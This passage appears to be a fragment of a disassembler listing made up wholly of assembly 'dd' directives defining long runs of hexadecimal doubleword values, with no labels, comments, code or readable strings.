83B6BF30h, 0B8B850E2h, 132C1DB8h, 9F62C30Dh, 5AB34044h dd 0F7088B98h, 0E0C1D800h, 0B0A43505h, 0BC01F411h, 0CCBB03D6h dd 0C0EC6A5Bh, 625ED463h, 0E868790Ah, 3989C937h, 0A0BAE6A0h dd 3F264E91h, 9E975E51h, 897AACF0h, 0CF1F908Ch, 0C53A1847h dd 1660A01Ah, 0F73C3F0Ch, 2C2D04D0h, 39027795h, 437F0119h dd 0B5BCE4FBh, 794CC49Fh, 0A1072750h, 0E55FC311h, 0E2638F3h dd 6B5DB8BFh, 1614DC56h, 0C21C4401h, 182BC831h, 37B03B13h dd 1260EBACh, 1F267F7Bh, 0EB1D0CC0h, 33E994DEh, 0D1E777DDh dd 47AEA48h, 149D1E6Ch, 0C16443C3h, 66EC1EDh, 0D8565024h dd 0DD739700h, 0AE7BE45h, 3117174Dh, 0CE94AFC6h, 0AF4F4A8Ah dd 9582A225h, 285902DBh, 0DA76F942h, 57C8096Eh, 32A474Ch dd 0D720CA67h, 0F3B91DDCh, 35E530Eh, 460ACBD8h, 70CE29C9h dd 949C780Fh, 0E96DF54Bh, 0DFA71B2Ch, 45340D96h, 97821616h dd 6917C0F5h, 5851BDDAh, 7FC49CBCh, 12CE5525h, 0C21F7E9Dh dd 0E85470E9h, 335D5809h, 0A01CE96Ch, 944AF06Dh, 0D202C762h dd 0ED48F191h, 1C0032BBh, 0CB810D60h, 0BE57812h, 0ED72E946h dd 90903D4Eh, 0D3D8B22Eh, 0CA1F8F18h, 6B44288Ch, 0CBF258FEh dd 9C30E05h, 75EF82D0h, 0DDFD6169h, 7EAF6522h, 3C4E01Dh dd 29AE3A9Ah, 0D2A66F26h, 33E3BB25h, 0B84CECA0h, 0F3810B00h dd 0F447B313h, 0A00375E9h, 0B50D871Bh, 36138240h, 204A6C9Fh dd 813A0F55h, 9C088BF1h, 4C8BFD7Dh, 7681BAF5h, 96E089D7h dd 262C8AE6h, 0E743E96Ah, 0F8CD006Ch, 45027B05h, 0F2BF2D32h dd 5A5F48B4h, 32E6EC5Eh, 0DAEE793Eh, 9ACC427h, 0B5B9BE2Ah dd 0FEEF8180h, 7350A43Eh, 0BA5152D4h, 0AE097A08h, 3616D787h dd 260AE390h, 0A572B8C3h, 481EFA27h, 0AF0C4E52h, 0C2EEA122h dd 4D2A92C7h, 636770Bh, 5BBDB22Eh, 68089110h, 123D4925h dd 45FD4BD6h, 3E9B93Fh, 535841D5h, 79A8A32Fh, 8043EC97h dd 9D8B769Ch, 0F681B3F6h, 2D35183Ah, 0CBBCB0F4h, 82D5C05Bh dd 0F5CD028Fh, 6AB871A0h, 0CC110AAh, 166980F3h, 743BFD6Ah dd 1082C34Fh, 341057BDh, 0B6816172h, 4EB3B130h, 7D90F445h dd 1794B438h, 0BC0B5BDCh, 2C69A29Bh, 0DE724815h, 5AD9F928h dd 5E04EFE8h, 4B6CC70Eh, 800A12A0h, 0E92DE5C6h, 87ECF14Ah dd 0EF78B551h, 0EDC0AAA1h, 0D7C5D806h, 0D6EA882Fh, 29F2C1E7h dd 66F921E9h, 5792594h, 69FFB993h, 0D5C8CD83h, 253231C7h dd 6A39C9F0h, 0E14069CAh, 0D1724C0Eh, 7EA2C104h, 0FDED8137h dd 0E1238124h, 77343CD8h, 92E2E80h, 0B06813E7h, 2FCC014Bh dd 3346602Dh, 7B8455C7h, 0D42F3A7Bh, 0C9309B71h, 4E01922Fh dd 0FC5E2046h, 7DE75E3Fh, 66F95Dh, 9805D3B8h, 235482Eh dd 7AC45383h, 5354FCE9h, 9995425h, 38DF7C95h, 9F8568A2h dd 0A0F04466h, 2D65019h, 4549783Eh, 8323C5F8h, 27759DF2h dd 0B7C2CFEBh, 726D9075h dd 14EA88B4h, 0ABC6131Dh, 58EFEB97h, 5C1E0CAAh, 7E6E2225h dd 1208A060h, 0DC873DE9h, 684C51DFh, 0EF8DC55Fh, 0FB5F5A8Eh dd 443B8729h, 44D5BADh, 0D0C5DE01h, 0FF96C8ABh, 6CA9764Ah dd 6DF705C9h, 0E26887ABh, 0EE89450Dh, 0AD7E1333h, 0A64F7DB2h dd 36C81235h, 20C5E4E8h, 3F8BAA72h, 0C899A27Dh, 165E28DFh dd 0BB596556h, 7A801D0h, 0D18F5EC6h, 7C5BD91Ch, 0EBB04BA4h dd 0C3AF2552h, 87211EF6h, 12077B69h, 0A4D9B85Fh, 177D9C2h dd 2660A368h, 176C050Eh, 7EC46A6Fh, 325F45B8h, 5660F7EDh dd 1A677D68h, 4A6C46CBh, 0F828025Ah, 0D004792Ch, 0E92730DFh dd 0E3D75A6Bh, 0D12984F0h, 5DDCB6C0h, 273F9834h, 0B9FFBE3Dh dd 61714AEh, 0A822BB67h, 0DE01FB2Ch, 0F62338h, 322CBE56h dd 5FE90B92h, 0B15791E5h, 9CA32E2Bh, 7356EA97h, 94E50C1Dh dd 5BDE1FBAh, 795FC850h, 31996801h, 4FE51BB7h, 70A0E03Fh dd 49C05205h, 68A4ADE9h, 0BC734542h, 45D101FCh, 315D4744h dd 8958EC6Ah, 0C2E5DD54h, 13100069h, 0B86DE04Eh, 7CA50023h dd 0DA87731Bh, 9C2DBF7h, 0E0EAD1D2h, 4846A92Dh, 0A789C3Ch dd 1D3B46Ch, 0BC5A13BBh, 0A2801020h, 0ED99583Ah, 20010697h dd 215C5B80h, 0A4FAC9ACh, 7CFE5F08h, 0FDC75162h, 0F523DE88h dd 5BE7345Ah, 5B1EB3Bh, 0C7E5CDDh, 5A49FEB3h, 4574F69Fh dd 707D8150h, 764740Ch, 5ECAD61Eh, 96B13097h, 83209A0Ah dd 205D669Fh, 29247A06h, 0BB107CD9h, 58C5310Eh, 4ED5E869h dd 0DB099D68h, 90773C77h, 428E4FB5h, 32195E47h, 0A6FA3440h dd 6F7CD4B7h, 14926146h, 1EEE012Dh, 5F1690ECh, 2567A773h dd 0F0385657h, 3EB92C87h, 330957A8h, 5F6D9431h, 783064A7h dd 93DF5C1Dh, 641BE38Fh, 0FFE3589Bh, 0D7D944Eh, 2E0A65DDh dd 7DA3BA2h, 2708361h, 6D20825Fh, 0EF80BA5h, 7BE5748h dd 48F53E81h, 0AC5ACF2h, 74D4025Ch, 1D5155A8h, 516EE90Ch dd 0E7810147h, 46282C9Ah, 7C5DDA68h, 3F966704h, 707602A9h dd 0E9E4E027h, 0CE415482h, 2FB5134Bh, 1687B8B0h, 0EDB7630Eh dd 0CA03C05Ah, 0E5B6705h, 0F2CAB2F2h, 6CE9050Fh, 0ADCEEF83h dd 9AD67D6Bh, 813D7058h, 21FF2E5Ch, 164A67Bh, 2A70E3C1h dd 487302EBh, 0CB315B94h, 83AF063h, 0C873CF7h, 46191FE9h dd 30563FBFh, 12236824h, 40E9B652h, 7213F7B3h, 3E020632h dd 0FEAF144Ah, 8B031C8Ch, 147C15F4h, 68D1F181h, 0CBF341Fh dd 4C964503h, 76B1CD89h, 0EFFF8E4Bh, 1B71E291h, 0B38FE109h dd 34BA96Bh, 2B0EB6C6h, 0B50C5A76h, 5A0CADBFh, 0FDE95CCBh dd 4FBA3060h, 84D9017h, 59DE6034h, 13836857h, 22097B41h dd 6FEABBB5h, 1D2AC45Ch, 0B5B7FABDh, 454BFE2h, 0D66D360Bh dd 399E0971h, 7A7D5E1Ah, 1356E8FDh, 0F30C6768h, 183C52h dd 0B42D4C44h, 4841DE16h, 0E149D340h, 8E65AF4Eh, 1348A8BCh dd 0E346682Dh, 87C4F84Bh, 9285E7EFh, 0D96E9909h, 79D7821Ah dd 0B3DD4370h, 0BA0F417h, 59F22880h, 5191CFC7h, 0E7FBF3C4h dd 78904C1Fh, 0D8F0305h, 8309D8F7h, 28AD5A91h, 0B7EE1E8Ah dd 3C0919D6h, 12E22AB1h, 648C123Ch, 0ED7FC7C9h, 655F1951h dd 0A53AEA6Bh, 92932F11h, 2D8A2C54h, 9CC4A0D1h, 272F88F6h dd 0ED10BA00h, 6815336h, 1A5F86EEh, 550B0C37h, 7D2A9252h dd 13C60985h, 16ED0908h, 72BD505Ah, 5AF7F6FCh, 0D82EB58Eh dd 0A225758Ah, 0FBFCE24Dh, 0FEC5155Bh, 535D147Ch, 24139855h dd 5EEDF2CFh, 0CDD2F318h, 918272Ch, 883A352h, 63E50C04h dd 93A615D5h, 0C3BF302h, 0AB815E4Bh, 7E157BC3h, 4D071780h dd 9D8B27E9h, 94799827h, 0FDCE859Ch, 0C2039278h, 10A71A8Fh dd 3B9ADEF0h, 61F0124Bh, 640D7391h, 0FE4118DDh, 0EC3319A7h dd 889FD1D2h, 0C0EB0569h, 0BD12C784h, 46BE774Fh, 94E68985h dd 6D7CC402h, 62D5F75Dh, 32C90708h, 59CD2180h, 8E51DC1h dd 719519E9h, 0EB893A04h, 0B5720FF0h, 0DFCB5276h, 0F2579307h dd 0DB7DA2F5h, 87361203h, 5AF100E2h, 8072C9FEh, 5B25F390h dd 8826714Ah, 8004F8D8h, 93FE53EBh, 5503479Eh, 0D523F381h dd 0DA21A191h, 7A88806Fh, 42670557h, 0D1A2AE1Eh, 8E00DF67h dd 29BED875h, 17BD2AD6h, 6E5DC302h, 8755588Dh, 6E49D12Ah dd 0B25212ECh, 124ECD7h, 0D1202DEAh, 923F93E9h, 4F7504B3h dd 88AAC1Eh, 0EE245DFAh, 0D8E0F61Bh, 62B65259h, 56F020C1h dd 0B7381A5Ah, 2DFE3EDFh, 0AA33775Bh, 2CB3201Ch, 0A340D910h dd 84B40750h, 37DFC480h, 0C3E941F4h, 160E3270h, 0EBE8570Fh dd 0E2885E5h, 6D80BAB4h, 0E5BD0792h, 0B3E10BD2h, 3EB82D2Fh dd 42B17E5h, 0BE3462Eh, 0ACE2D65Ch, 0E51C1FA6h, 0CE873DEh dd 9D905227h, 0E9199394h, 580A80F2h, 81306860h, 0FD194459h dd 8F7B50BAh, 2CAB0A16h, 8B250AEh, 0B069E916h, 839D212Fh dd 8AFC7B1Eh, 670B55FDh, 543F2303h, 7B845987h, 810ED0B2h dd 612C5C7h, 0A4BF47FFh, 0F902573Ch, 5BE9DF05h, 822A54C6h dd 25CD0A1Dh, 0C98C3C7Ch, 4ACCC136h, 799EEA60h, 0C4EAE913h dd 4F14A28Eh, 0D14B32E8h, 56AA8EBh, 853080EAh, 60E1E3B3h dd 0C317FE87h, 0C4E016E9h, 5DECEC4Fh, 8E34C3DDh, 0DA56807Dh dd 3D7B132Dh, 0CEB9B8E0h, 0D12218BCh, 0C973B910h, 0C167672h dd 59CD42FFh, 7C061F5h, 20D8D968h, 854B18E9h, 4ADFCFA2h dd 0A0DB1CEDh, 0EF249AFh, 0ECB9C95Eh, 0C4BDB544h, 1FCB1F27h dd 4B1C8C49h, 6B0BEB13h, 4A277CEh, 3AA32EF5h, 21516312h dd 5A2056Ch, 0CA83D1EAh, 0EABC3F97h, 956DD186h, 1ABDD630h dd 0E658C688h, 6FE99C30h, 859DAA32h, 8D3CA92Ah, 0EF2E405Fh dd 0A240453Dh, 76B14712h, 0CB681779h, 5A293243h, 6D125AD6h dd 5B5E11A0h, 0F0A7898Fh, 489768B1h, 3D22EBAEh, 55971101h dd 10C8A332h, 66039DD6h, 4311E181h, 0CCC90A0Fh, 0A5D3E447h dd 572D00E7h, 7702A854h, 7E5B6423h, 58F30118h, 6FDBC1DEh dd 41AE8213h, 35D8EF3Bh, 0F6E06BFCh, 0F40D1FD5h, 8C823F70h dd 55098262h, 2BE397E1h, 0E95E7207h, 0F14EF1B5h, 0B8C1DC2Dh dd 5F02950h, 7D5E0742h, 1301A416h, 51201757h, 0AB2E1CF7h dd 0F96F082Dh, 3A6809CFh, 40817230h, 0BF0757FBh, 2D76B41Dh dd 76D735B2h, 0E38070C5h, 0F326DC73h, 7217579Fh, 14F78E44h dd 871498FFh, 93EA2DEDh, 402CD7EFh, 316FB991h, 5BE9E83Fh dd 4D5DC481h, 540AF740h, 5A653FFDh, 3541D225h, 83E9345h dd 0DD104E1Ah, 0B801A2E7h, 19271655h, 1B8EFC61h, 0DC57D488h dd 8D5FE9A6h, 95BBC801h, 6D646D6Eh, 0E1F4055Eh, 0AEDD893Ah dd 453B74CBh, 386DCD83h, 0E5E97D5Ch, 412CD068h, 879C9AC0h dd 0E456BEF3h, 835F078Eh, 0E9C8E934h, 6498E76h, 0FCD5666Bh dd 9B0097BAh, 0BE34EF2Dh, 0A8BC0D5Fh, 702593Ah, 2123E953h dd 24E16DDDh, 6DB13C0Ch, 0C9FECCEBh, 12F0BE51h, 0D44B6FDCh dd 6216F9C5h, 750901DCh, 4650BDF8h, 0EE008104h, 4001A2D1h dd 56CEE956h, 0A072B328h, 952E1122h, 0ADB0E5C6h, 0D94BFC25h dd 0E940ECE2h, 55C55C4Fh, 0E9BE38AFh, 0BAE1C031h, 0F23EC521h dd 0FD68C2E3h, 0C6E57F0Bh, 9FA570A7h, 5C5ABB44h, 35C5BCBCh dd 0D877C8AAh, 1B632717h, 5980DDB8h, 0E969D56Fh, 228A2525h dd 0D9897F1Ah, 372942E7h, 4AF4185Fh, 0C65BC988h, 5F66A557h dd 916E0FB1h, 81EC0ECFh, 22D7EE25h, 0EF2177A4h, 0B6318060h dd 72044B82h, 0D559C7F7h dd 0EFA9941Bh, 0C7A441C7h, 0BE0285ECh, 314A012Ah, 65F5D8D5h dd 0C0060608h, 0E10B7CDCh, 152D29B8h, 0C56079FDh, 8430AB4Fh dd 1CBF7F94h, 8155512Fh, 0A66A8AB9h, 321E2A37h, 39AE4FB9h dd 291E3045h, 80FCAB5h, 2FE2E687h, 23E5585h, 0F8E98740h dd 83EEBEAAh, 785506CEh, 6EBE0DD9h, 5F242328h, 0A960BAECh dd 276538BFh, 54022C97h, 2900822Eh, 3A7E05C8h, 9751079h dd 0AD846CEh, 0E906A75Bh, 15545C94h, 0A13EE7B8h, 0EFAFB116h dd 625F5DCCh, 9BEF851Fh, 35779FFh, 0B47C4884h, 6E173DE9h dd 0B54C738Eh, 593D055Eh, 0E1E2EB30h, 0EF8CE9C5h, 48F492B4h dd 88DF769Dh, 0DE2F4EDDh, 8C161292h, 85D8BF3h, 0B3D135D7h dd 0A0DE10ABh, 5AD189A0h, 224F0131h, 120AC1AEh, 8009F580h dd 589A6169h, 0E0CBA27Bh, 0BC1ED668h, 33D16267h, 54EED64Ch dd 0F315D02Ch, 5D42C51Eh, 57D60169h, 0D4690153h, 61890520h dd 0C62380DAh, 0D5EAAA8Fh, 0B83F529Eh, 252985CFh, 0C3834726h dd 3416A606h, 0C0181430h, 0FB57A2CAh, 0DF87B817h, 0F8E99005h dd 4D5A47D1h, 9F6FAC2Ah, 2409DDD3h, 0D2C577DBh, 7402D3A4h dd 0CA067F28h, 0B8FB404Eh, 1A580435h, 13B16AE9h, 96491002h dd 86655536h, 151256A5h, 680999F1h, 96FD1503h, 0DF012030h dd 0FEB4795h, 90B278E9h, 0FC6C8357h, 0E800F04Fh, 1F474405h dd 29029F28h, 5302A17Ch, 66305F5Dh, 0FDA8756Fh, 869501EFh dd 9DA43815h, 88309F96h, 8E941FAh, 8C55DD38h, 0EFCD4E02h dd 0D5CA335Ah, 2D42E90Ch, 6589623h, 508D40Ch, 4C2A7D75h dd 7240DEC7h, 952142E3h, 95FCFD85h, 0B40C8168h, 3987B87h dd 9E19E458h, 5AAF89ACh, 0C68242F9h, 5547294Dh, 62608E20h dd 0D013CF5h, 4ECD245Fh, 3BE0F825h, 5E050238h, 4806CFD3h dd 19A8A760h, 431EF417h, 12C089E4h, 0FF3DEFFFh, 0C1C6264Ah dd 49009B10h, 3474F181h, 893F0BCDh, 7E681CCEh, 3B225D25h dd 0AF8056B3h, 0E9F3204Ah, 41FAE15Bh, 491B0377h, 0F9EDD875h dd 6E72157Fh, 0A2E5845Bh, 4341046Bh, 841AAD80h, 46E6721Eh dd 5F2EAE4Fh, 0D94FD75Fh, 7C075ABh, 5CB7B02Eh, 62DD4B0Ah dd 0A2A25BBDh, 97E630EAh, 7F27F563h, 6E41B624h, 7AEA7789h dd 4B6226D6h, 37EB8188h, 0D812A45Ch, 7A0A22C3h, 0A82943AAh dd 822F2328h, 641D1AA3h, 30507E1Eh, 0C76D77ABh, 823D7D71h dd 0E7CA927Fh, 0ADD23CFCh, 572D2EA5h, 20D15AA7h, 53078727h dd 4342BB68h, 813E54CCh, 8EE33F58h, 0AB5B5785h, 518BD3E3h dd 4E001155h, 91CED9D8h, 0EB200954h, 0B33018C6h, 0D8EEBD2Ch dd 464B3D1Dh, 909F3AAAh, 11ED040Eh, 0FCCBF275h, 61151288h dd 47C48F94h, 0D230C7B1h, 52271133h, 50FA4E6Ah, 5C04C2BCh dd 0C0278F08h, 1817E569h, 52E9E80Dh, 26384CC2h, 60E25Eh dd 54867C04h, 0BD8280E9h, 7AF696CEh, 291638B6h, 5252CAEh dd 0ED280DF6h, 52B0E050h, 9EEF3E5Dh, 410C6C4Dh, 5F09850h dd 0D947178Eh, 4AED8A38h, 0B1015F29h, 0AC6EE51Bh, 0FB10925Eh dd 8A1A1050h, 39755B25h, 0BA2B55A6h, 54235438h, 4B98EFA5h dd 5BF3A658h, 0E9A10DFDh, 26E66CBCh, 0EA4537D3h, 0C83039E1h dd 10C69F53h, 0A72DE57Ah, 70C34611h, 5AF50C18h, 0E9EDEB30h dd 0E9EDA827h, 63BCA56h, 10A40435h, 398FB92Ch, 7D6BC540h dd 5C74BF52h, 26C0E708h, 112B0388h, 280A05A6h, 0E902B6A1h dd 0D45DFC0Bh, 80FA801Fh, 0D98638E1h, 8D3F630h, 3F50C1FEh dd 0C41207B4h, 804716B1h, 4D61B80Ah, 48569C13h, 6402CE1Fh dd 0C0311784h, 97C1292Ch, 0F3F89DA2h, 5CADC677h, 0CDC4EAC2h dd 0AD55D279h, 57696257h, 383F203h, 0DD87AFD4h, 68E156E7h dd 0B17A4499h, 0C432A533h, 1F439D37h, 0B065A085h, 50093540h dd 0FF7D7CFh, 8F3FB551h, 74AEC32h, 0A01F12F5h, 72E5C122h dd 2168163Dh, 0BB38352Fh, 13979A60h, 0B82A0A87h, 28A30FDFh dd 30206D0Ch, 0D3CE4147h, 1137D515h, 0B32F95Fh, 0F7F1E802h dd 6A770149h, 272756E3h, 0C252B06Ch, 21C4B9Ah, 64EA5C93h dd 9076ADBFh, 4D4706E6h, 1FD8352Bh, 0A46F0A65h, 0B8E20252h dd 0E6DFCBBBh, 29E91969h, 0EED1586Bh, 3FB6217Dh, 33F90E58h dd 0FF6FC42Ah, 2C997A75h, 0E4B7B82Fh, 0BCC5E8A8h, 230AE33h dd 4BAD51F3h, 62C8BB6Fh, 33B78099h, 209A6DEEh, 18CC203Fh dd 0BB0EADDAh, 920A12EEh, 0D802AA26h, 74685E1Ah, 25F7A2Dh dd 0C102F5A8h, 0FE4031E4h, 0E198FFE9h, 85B0A97Bh, 0BED1DF3Eh dd 15897DEFh, 0C598FA5Dh, 81216B7h, 8C0B5BFCh, 1BC05712h dd 0A4C928ACh, 17F37EDBh, 2A38EA5Dh, 0F7684E95h, 84705807h dd 55D5DA09h, 0DE45C6EEh, 73225C0Fh, 0D086E52Bh, 7A75CDEEh dd 63C5BEF2h, 398CBE02h, 0A00D55B2h, 7FE0B2B2h, 54A552FBh dd 853C4A1Fh, 89479EE9h, 0AC1724D3h, 0C7D644h, 3E20672Bh dd 4E7C14Fh, 0FD314C2h, 0CA62C3F8h, 9D709E2h, 90D2162Dh dd 0C314254Ch, 0EAC631F7h, 6BEC6888h, 5F256804h, 0BD99AFBh dd 0F29A22E9h, 85901706h, 0D22C8756h, 0A8DE7E9Fh, 70A3F273h dd 0E8F09FB7h, 6165FB06h, 95AC0924h, 3985C5Eh, 0F5C24D1Eh dd 1E96EE31h, 82840621h, 0AC4C4A86h, 577B1D3Bh, 4C81C427h dd 4A4288h, 83B1B8BAh, 62BD5B35h, 2C757B11h, 61A2167Ch dd 3F7CD0F0h, 0BB80D1B3h, 71874820h, 4C026490h, 5545C30Bh dd 0CA5AC050h, 44FE0047h, 57A7E681h, 0F7276E20h, 83ABD6D6h dd 224A3CCEh, 0DA090C96h, 64D733h, 84D2D5EFh, 0F658BFB6h dd 0BE8F4050h, 13BC85B9h, 27FF1BFBh, 91408274h, 0D3B6CF25h dd 472AEB00h, 0FB291694h, 4008A8D0h, 6C1312C0h, 0CEA90F6Eh dd 41590840h, 4B912F5Fh, 0BD405352h, 0B7C23EE0h, 714BF658h dd 0B27E32E5h, 0C280D328h, 0C925E0E9h, 72555C10h, 54CA2D1Ah dd 0FFA55C79h, 0A89B4410h, 81C7FDBCh, 0C52325B0h, 0F97AB71Eh dd 3D5E0882h, 7B05AD40h, 36FE3A40h, 0E9E690DAh, 4BBEEA0Eh dd 35E1D282h, 0A97FE257h, 42C17737h, 90628CAh, 0F106CF68h dd 2B3698C8h, 0E3E5595Ah, 970D33FBh, 0B487C3EFh, 0CF5E0BECh dd 16A2F267h, 0A74123AAh, 517BBA8h, 0E752A62Ch, 0F85F48D2h dd 1EED07CBh, 9930C263h, 0B3C9CFFh, 290D3BCAh, 0A5E9F848h dd 8B50B749h, 0B524584Dh, 1458BDF4h, 0FB9B9D54h, 0E8411F2h dd 68594106h, 58364083h, 0BDD20918h, 4F1EB4F5h, 3D26B11h dd 0E36A97F1h, 0F0E9C4ACh, 3F1D4D4h, 0A654BC3Fh, 590190B9h dd 0EB938F55h, 5DEB9340h, 4AE95051h, 0D857F576h, 0F9971C67h dd 412597B1h, 0EF885350h, 3AF9CD51h, 0F25BA2B0h, 23E935D3h dd 313DBAF9h, 0C0DE0660h, 0CF2D4022h, 485A163Dh, 0E813DBC0h dd 0EA054B1Bh, 85292609h, 0B8ACCE32h, 5B35FA5Bh, 16A6AA00h dd 6CBD25ACh, 48700BA7h, 7B032C14h, 376605F4h, 0C1AE6065h dd 0BB22AFDAh, 4E03C98Ah, 5F0007AEh, 2BE5F989h, 3F4F6AFh dd 0D7F7F987h, 0F101087Fh, 31E73DBh, 0E82FCB29h, 5E53E8FDh dd 3B862D5Fh, 0C12953C0h, 0B5EB77E9h, 5179E3C8h, 13575880h dd 0CC52FE68h, 2312D4FFh, 97092163h, 5846F759h, 9BD56B7h dd 935DF546h, 0B49CC115h, 25F410A0h, 0AC5C8E43h, 0D8C8C44Fh dd 61CAC791h, 95F3F22Fh, 0E0721A7Ch, 0D8715D26h, 0B053DE0Ch dd 0FFFC7E1Ah, 989C563h, 0C429A6A4h, 72F9AFAFh, 5B5CE04Eh dd 27F163Bh, 0A55155F3h, 0EBD05F31h, 206FEFEh, 54E9492Ch dd 11684899h, 0B20CAC4Fh dd 9FC5F01h, 1ED498E4h, 5B3AB3B8h, 8713934Dh, 36D187FBh dd 7CF93F54h, 0A5954A1Bh, 89671CBFh, 9CDD6FFDh, 12F1A372h dd 4FC89566h, 0D1D2EDC1h, 3C525871h, 69E3969Fh, 61482558h dd 0CF1B1427h, 0AAA6B26Fh, 34B5EAA7h, 15B92BEh, 0A4337155h dd 7D950821h, 0DEA5525h, 8EAF9DDh, 0F70A51D0h, 5317D0DFh dd 0BAD19CEAh, 0E1B2015Ah, 16F703C4h, 80DEEC00h, 0D9C06CE1h dd 249EB818h, 294BE416h, 631934F3h, 0FAA44155h, 81BCD609h dd 525F39F3h, 0E0C8A858h, 0CF22CD09h, 0A0E7583Ch, 9749067Fh dd 0B5DD9248h, 0A5FBB03Dh, 5AAFA7Ch, 6D3984C9h, 0AA40BF50h dd 0A04A0CE1h, 0BFFB049h, 73CC2011h, 7E57E800h, 43BF24AFh dd 83071B46h, 3DFB36C6h, 2B3FCEB1h, 0BD3105B0h, 0D8BD51F0h dd 41935B29h, 0C1A9F6CAh, 0E1877F45h, 8305605Eh, 0F25FFC0h dd 32753754h, 0C3098920h, 0CD09356Ch, 5D6D171Fh, 36FB338Bh dd 83A46717h, 0C25A4CD1h, 6076FC04h, 0DCF4BE73h, 1C84D85Bh dd 835821F2h, 0D8DA3D59h, 0A3BC8443h, 0F5C9E8ABh, 10EB2E84h dd 0C958BAF9h, 4A54DF10h, 0D7F1E0C1h, 0CBDD839Dh, 1E5B88B2h dd 2C12A902h, 2967DF31h, 8F52550Ah, 4390DD16h, 40E25AAEh dd 0DC3AA47h, 0C868192Dh, 0D0D80134h, 13930826h, 1774BBF8h dd 0D32BF9EAh, 131A8AFBh, 8D895A52h, 4C575820h, 95856659h dd 65F7AFABh, 4B515817h, 7C761BA1h, 74106804h, 6EF3DDAEh dd 0E95B9190h, 3709BD63h, 982B157Fh, 8A2FA5Ch, 3255B230h dd 5E2E669Eh, 0A164A852h, 0AC644CE9h, 0BAC74B31h, 86AD24D9h dd 0B056E474h, 67100A80h, 6BD4516Bh, 0C9D8485Fh, 0DBBB758h dd 9CD47EDAh, 2DC7E25h, 7DF957DAh, 15AF9840h, 1B2488E1h dd 0E7E52798h, 93723A8Ch, 0AAE309F1h, 0EE743902h, 994BF6BFh dd 979F0AE3h, 0B1A3C01Ch, 0E5F1D06Bh, 6B126FF8h, 0C55100AEh dd 0EA88526Eh, 7F75E2BDh, 0BF00EBC4h, 22921F21h, 13A4E781h dd 0EB277B07h, 9A813297h, 0E66134AEh, 0DE58574Eh, 3BBA5204h dd 0E78A8754h, 672441F2h, 0B1AC7A0Ah, 11061898h, 5C745F2Fh dd 0BA1230F5h, 2150035Eh, 0BB040B98h, 4AE99B7Bh, 905866B0h dd 23830C2Ah, 9A24489Fh, 3A520C17h, 8F750EEh, 0EDD1581Fh dd 18DF54D0h, 1C95B081h, 0B7BD589h, 8402649Eh, 42FC2916h dd 0B23F308h, 57A9D3E9h, 58F2CFDCh, 5035B49Fh, 52818AC7h dd 0F842C575h, 4B24D7A9h, 41E2EB06h, 18567AC1h, 95C93B28h dd 2E87E140h, 570100A8h, 547403BFh, 0B725E94Eh, 0B01C6E50h dd 6379623h, 607E2C0h, 0AE59087Bh, 845C26C2h, 0B86C002Fh dd 16D23EFAh, 0BDD0F765h, 0A3E52F0Fh, 0F71AC9C0h, 0F3C064C4h dd 1675073Dh, 0B0EDE945h, 0F904BA92h, 31E5B5CFh, 0FD60C8FBh dd 174DB859h, 633577D4h, 0D90280AEh, 4C0D3D1Ch, 289D64E9h dd 0C24E8340h, 0B12A5B9Ch, 413C65A2h, 0F66065F9h, 335737E2h dd 423FEF08h, 0DD4B8E59h, 0C0B063Ah, 0C07841D7h, 5E3B32Fh dd 3606852h, 0E94B38FEh, 73147B27h, 9BA5BDC5h, 0F65A6640h dd 5052D907h, 0B243FBB4h, 0F018FD53h, 172CF535h, 0C1762D61h dd 7AB0519h, 38AFF2B4h, 7FBE39DCh, 691F512Dh, 0FB058978h dd 29CB1128h, 61C214A0h, 7C688D83h, 5AB62B6Bh, 0AC380C96h dd 0BE09EF5Fh, 0FE2E557Fh, 27C18177h, 0FC79B12Bh, 401797E9h dd 0B81A4B48h, 1C080D1Ch, 7D981405h, 899EDF33h, 1C7F0978h dd 15B0957Bh, 5481929Bh, 0B79CAAD8h, 2090A8C9h, 0F8972704h dd 0AC594E01h, 94125B2Ah, 0AFCCE1AFh, 0D834DC90h, 13124DEDh dd 0A7AF4F41h, 4C665818h, 8BC8109Bh, 50BA5828h, 402606FDh dd 170FBFCAh, 44430761h, 0C9BF4E9Ch, 4DC9F3EAh, 508C3A58h dd 96B49423h, 5A56B4C6h, 97186497h, 52A190F7h, 0BF49D54h dd 0DFC8837Ah, 9362D8Ch, 9BF23760h, 71273016h, 0E90B21CAh dd 1554801Dh, 63C75164h, 72037710h, 145D9D29h, 10055144h dd 2AE956F0h, 0B4814D99h, 13923CCEh, 0B788AEFAh, 0B545E268h dd 0E69737CEh, 2175957Fh, 122768CFh, 471316Eh, 91EE047Eh dd 6B755EF4h, 9B731323h, 24EBD48Eh, 0E02BAE77h, 27680A40h dd 7FF43EBAh, 0D93BE60h, 1135A45h, 5054072Fh, 0BCF6DC4Eh dd 53550F12h, 0C442E2BAh, 0A483D601h, 916E45Fh, 0D8648C64h dd 6F095C0Bh, 1A43FE1Ch, 1CD51A4Bh, 5D2C40B3h, 5009D198h dd 5F7E565Fh, 0E6395F78h, 62FCDA27h, 0E7029E4Ch, 34FE2270h dd 1EBB6C55h, 278A0244h, 0A089165Fh, 315AA774h, 0D70C3F6Dh dd 175DA65h, 6EB3E94Bh, 1DC7279Fh, 5702C989h, 0E91361FAh dd 0D0EE73B8h, 9C32046Bh, 265AD9E7h, 29292FEBh, 0C7E1F5A2h dd 3B4EFDE9h, 46773541h, 1B215784h, 0FBB5A42Ch, 5F216A62h dd 27640782h, 0A249AA0Eh, 9AAE74B4h, 1683DE9h, 0E96E085Dh dd 32939F02h, 0EFC4AB05h, 805524EAh, 500D924Eh, 9150075Ah dd 4FFC7D08h, 13EEB9C0h, 0C0442D38h, 0CDA95D0Ch, 0F22D296Ch dd 82225E5Eh, 5F04329Eh, 0F0B97A7Eh, 0E0A01E37h, 48678290h dd 47CB83Ah, 56E16514h, 67FCBA01h, 8B65EC5Eh, 31B322ADh dd 9BCAF5C8h, 9B601D89h, 3439422Dh, 9BE9CAB3h, 21FA918Eh dd 4499AF5Dh, 9DFA969Eh, 0DA4F42CEh, 20E97009h, 6815A736h dd 16B16A52h, 93884C8Bh, 43F2B5BBh, 2C906394h, 7B58F710h dd 7DC6EF57h, 844D6A09h, 557ADD22h, 10E1AC80h, 15EB20Ah dd 820BCD1h, 745AE2EAh, 0C86271FAh, 3CFC3E59h, 694821A5h dd 0C383A0D3h, 805D73F0h, 0FE881C97h, 9A97F49Eh, 1FB5BAB0h dd 0D5F63Dh, 0D2ED80C5h, 592CEA28h, 5A16F030h, 0E36E01A1h dd 0DCD8E1C7h, 0D2548824h, 8AE00595h, 58678C86h, 6225EFB0h dd 9BC7C64Ch, 